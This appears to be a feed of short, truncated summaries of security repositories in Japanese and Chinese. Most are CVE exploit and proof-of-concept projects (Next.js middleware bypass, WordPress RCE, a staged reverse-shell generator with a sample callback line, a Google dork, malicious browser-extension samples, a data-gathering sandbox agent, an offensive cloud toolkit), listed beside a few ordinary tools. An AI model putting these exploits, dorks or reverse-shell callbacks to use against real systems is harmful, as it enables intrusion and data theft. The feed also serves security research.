PGP-Tools

PGP Tools PGP暗号化、復号、署名のためのオープンソースブラウザ拡張機能。 Rust/WebAssemblyで構築。秘密鍵は必要な場合を除き、JSヒープに触れることはありません。 こちらから入手 PGP Toolsの特長 オープンソースで透明性があります。 ほとんどのPGPブラウザ拡張機能はクローズドソースです。ブラックボックスに秘密を委ねるべきではありません。 暗号処理はWASMで実行され、JavaScriptではありません。 すべてのPGP操作はRust/Sequoia-PGP...

poc-cve-2025-29927

Next.js Middleware Bypass CVE-2025-29927 概念実証 このリポジトリには、Next.js のミドルウェアで実装された認可チェックを攻撃者がバイパスできる深刻な脆弱性 CVE-2025-29927 の概念実証 POC が含まれています。 📋 目次 1. POCアプリケーションの実行 2. エクスプロイトスクリプトの使用 3. 脆弱性の修正方法 4. 脆弱性の詳細 POCアプリケーションの実行 このNext.jsアプリケーションは、保護されたダッシュボードルートを使って脆弱性を示します。 セットアップ手順 1. リポジトリをクローンする 2...

CVE-2023-38039

CVE-Analysis vicarius.io/vsoviety の解析すべてについて...

poc-cve-2019-5736

PoC-CVE-2019-5736 CVE-2019-5736 的 PoC...

CVE-2022-3910

CVE-2022-3910 1. dirtycred exp: t1dpoc README.md: CVE-2022-3910とDirtyCred：Linux権限昇格の脆弱性解析 2. cross-cache exp: t1dexp README.md: CVE-2022-3910分析-2...

hlf-time-oracle

hlf-time-oracle hlf-time-oracle は、ブロックチェーン Hyperledger Fabric のチェーンコードで、他のチェーンコードに正確な時刻を提供します。hlf-time-oracle は ntp パッケージ と nts パッケージ に基づいています。これにより、ブロックチェーンクライアントによる トランザクション時刻の改ざん に関連するセキュリティ問題 CVE-2024-45244 を解決します。このチェーンコードは、GetTimeNtp 関数と GetTimeNts 関数を提供します。これらの関数を呼び出すと、NTP Network Time...

dconstruct

dconstruct ソースMP4を開く dconstruct は、The Last of Us Part II で使用されている DC-Script ファイルのためのリバースエンジニアリングツールです。逆アセンブラと逆コンパイラを備えています。 逆アセンブルされた構造体とバイトコードを含む.asmファイル、およびCライクな疑似コードを含む.dcpl（DC疑似言語）ファイルを出力します。 また、コマンドラインからファイルを編集することもでき、構造全体を簡単に置き換えることもできます。これにより、.binファイル内のいくつかの値を変更するだけのMODを非常に簡単に作成できます。 主な機能...

forticrack_v8

Forticrack v8.0.0 解密并提取 FortiOS 8.0.0 固件镜像。 本脚本扩展了 Bishop Fox 的 Forticrack，以支持 8.0.0 固件镜像。此外，RandoriSec 的文章 关于 FortiGate 7.4.7 固件加密的内容，对逆向 FortiOS 8.0.0 的加密机制非常有帮助，因为它看起来像是 7.4.7 加密机制的更新迭代版本。 同时适用于 FGT 和 FFW 镜像。 使用方法 已在 FGT 和 FFW v8.0.0.F-build0167 上完成测试。其他构建版本可能需要重新逆向内核，以找到 RSA 公钥和 XOR...

CVE-2015-4133

CVE-2015-4133 CVE 2015-4133 - Reflex Gallery 3.1.3 任意文件上传到远程命令执行 描述 Reflex Gallery 是一款 WordPress 插件，其 3.1.3 版本存在一个漏洞，攻击者可以轻易利用该漏洞上传任意文件，例如 PHP 代码，从而实现远程命令执行。 root@kitploit: Exploit Title: Wordpress Plugin Reflex Gallery - Arbitrary File Upload Google Dork: inurl:wp-content/plugins/reflex-gallery/...

MaliciousBrowserExtensions

悪意のあるブラウザ拡張機能 Discordに参加する 私たちの拡張機能をお試しください ExterminAIをお試しください 概要 ❗ 本リポジトリの所有者および貢献者は、リポジトリに保管されているサンプルの不注意な使用によって生じたいかなる損害に対しても、いかなる形であれ責任を負いません。ユーザーはサンプルを実行する前に必要な予防措置を講じる必要があります。 本リポジトリは、以下を通じて特定された悪意のあるブラウザ拡張機能を統合しています： 独立したセキュリティ研究 公開されたインシデント開示 セキュリティブログおよび脅威インテリジェンスレポート...

Neton

Neton - サンドボックス情報収集ツール Neton は、インターネット接続されたサンドボックスから情報を取得する ためのツールです。エージェントと収集した情報を表示するWebインターフェースで構成されています。 Neton エージェントは、実行中のシステムから情報を取得し、HTTPS 経由で Web サーバーに流出させます。 収集する情報の一部: オペレーティングシステムとハードウェア情報 マウントされたドライブ上のファイルを検索 署名されていないMicrosoftドライバーの一覧表示 SharpEDRChecker を実行 Pafish を実行 Al-Khaser を実行...

CVE-2022-23935

CVE-2022-23935 🐍 CVE-2022-23935 向け Python エクスプロイト CVE-2022-23935 用 ステージング型リバースシェルペイロードジェネレーター 例 root@kitploit: cve-2022-23935 10.10.16.3 44444 使い方 root@kitploit: usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip IP Address/Host for Callback port Port Number for...

sentrysearch

SentrySearch 映像フッテージをセマンティック検索。探しているものを入力すると、トリミングされたクリップが返されます。 !IMPORTANT 公式ソース: github.com/ssrajadh/sentrysearch は SentrySearch の唯一の公式ホームです。このプロジェクトを転載またはミラーリングする他のサイトはメンテナと提携しておらず、承認もされていません。必ずこのリポジトリからダウンロードしてください。 言語: 英語 · 简体中文 新着: SentrySearch コードベースウォークスルー動画 パイプライン: 1. SentrySearch...

CVE-2024-27956

Wordpress SQLI-2-RCE Exploit このPythonスクリプトは、Wordpressの脆弱性CVE-2024-27956を悪用し、SQLインジェクションからリモートコード実行（RCE）に至る攻撃を行います。 機能 マルチスレッドによる悪用：同時に複数のWordpressインスタンスを悪用するために、並行スレッドを利用します。 動的ペイロード注入：動的にSQLクエリを構築し、脆弱なWordpressインストールに悪意のあるコードを注入します。...

CVE-2020-11978

CVE-2020-11978: Apache Airflow 示例 DAG 中的远程代码执行 信息 描述： 当 Airflow 加载示例 DAG 时，此漏洞允许远程代码执行（RCE），且可能通过 CVE-2020-13927 在未认证的情况下触发 CVE 致谢 ：DtDream security 的 xuxiang 受影响版本： 关于 CVE-2020-13927 如果 exampletriggertargetdag 未加载，并且你知道要触发的特定 DAG，则可以使用 CVE-2020-11978-min.py 作为模板来触发该特定 DAG。 修复措施 移除示例 DAG...

CVE-2019-16278

CVE-2019-16278 パストラバーサルの脆弱性により認証なしでRCEを引き起こすCVE-2019-16278を悪用するシンプルなPythonスクリプト。 使い方: python3 nostroSploit.py targetIP targetPort optional command to run 参考元: https://git.sp0re.sh/sp0re/Nhttpd-exploits/src/branch/master/CVE-2019-16278.sh...

middleware-auth-bypass

middleware-auth-bypass CVE-2025-29927 Next.js ミドルウェア認証バイパスの概念実証 PoC...

cve-2023-50164

CVE-2023-50164 影響を受けるバージョン Struts 2.0.0 - Struts 2.3.37 EOL Struts 2.5.0 - Struts 2.5.32 Struts 6.0.0 - Struts 6.3.0 脆弱性が修正されたバージョン Struts 2.5.33 Struts 6.3.0.2 検索用スクリプト Windows/PowerShell PowerShell 5.1以降向け。作成者: Kjetil Sigvartsen（Norsk helsenett SF） root@kitploit: String$Extensions = @'.jar',...

CVE-2018-17961

イメージをビルドする ポートフォワーディング付きでコンテナを実行する ssh -X で接続する evince executeonlybypass.ps を実行する エクスプロイトが /.bashrc に書き込んだことを確認する...

CloudSec

Cloud Security Toolkit 云端利用的艺术 欢迎使用 Cloud Security Toolkit——一个专为进攻性安全研究人员、红队成员和对抗者设计的专业资源。本仓库致力于系统性地武器化漏洞、高级攻击模拟以及云端生态系统中防御机制的剖析。 注意：本仓库正在积极演进。漏洞利用、攻击脚本、载荷库以及进攻性 KQL 查询将不断集成。保持敏锐。 军械库内部 ⚔️ 用关键任务资源装备你的红队行动： 📂 01-Offensive-Operations ：针对 Entra ID、Azure、AWS 和 AI 的武器化利用和攻击模拟。 📂...